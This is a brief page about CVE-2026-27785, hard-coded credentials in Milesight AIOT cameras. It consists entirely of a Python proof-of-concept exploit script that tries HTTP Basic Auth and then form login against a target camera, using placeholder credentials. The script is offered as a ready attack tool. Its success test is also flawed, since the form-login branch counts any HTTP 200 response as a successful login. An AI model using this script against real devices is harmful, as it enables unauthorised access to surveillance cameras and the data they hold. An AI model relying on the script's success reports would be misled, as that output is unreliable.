CVE-2026-27785: Milesight AIOT摄像头硬编码凭据漏洞

# Exploit Title: Milesight AIOT Camera Hard-coded Credentials PoC # Description: This script demonstrates how to authenticate using hard-coded credentials if known. import requests target_url = "http://<TARGET_IP>" hardcoded_user = "admin" # Replace with actual hardcoded username if known hardcoded_pass = "hardcoded_secret" # Replace with actual hardcoded password if known def exploit(): print(f"[+] Attempting to login to {target_url} using hard-coded credentials...") # Example using basic auth or form based login session = requests.Session() # Attempt 1: HTTP Basic Auth response = session.get(target_url, auth=(hardcoded_user, hardcoded_pass), timeout=5) if response.status_code == 200: print("[+] Success! Logged in via Basic Auth.") print(f"[+] Response: {response.text[:100]}...") else: # Attempt 2: Form Login (common in cameras) login_payload = { "username": hardcoded_user, "password": hardcoded_pass } login_url = f"{target_url}/login" resp = session.post(login_url, data=login_payload, timeout=5) if "dashboard" in resp.text.lower() or resp.status_code == 200: print("[+] Success! Logged in via Form Login.") else: print("[-] Failed to login. Credentials might be incorrect or logic differs.") if __name__ == "__main__": exploit()